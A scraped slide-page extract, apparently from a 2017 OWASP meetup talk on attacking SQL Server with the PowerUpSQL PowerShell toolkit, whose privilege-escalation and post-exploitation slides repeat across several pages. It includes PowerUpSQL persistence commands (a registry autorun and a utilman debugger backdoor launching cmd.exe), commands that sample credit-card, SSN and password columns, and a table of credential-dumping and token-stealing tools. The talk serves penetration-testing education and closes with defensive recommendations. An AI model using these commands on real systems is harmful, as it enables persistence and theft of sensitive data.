  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 91: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 92: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 93: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 94: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 95: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

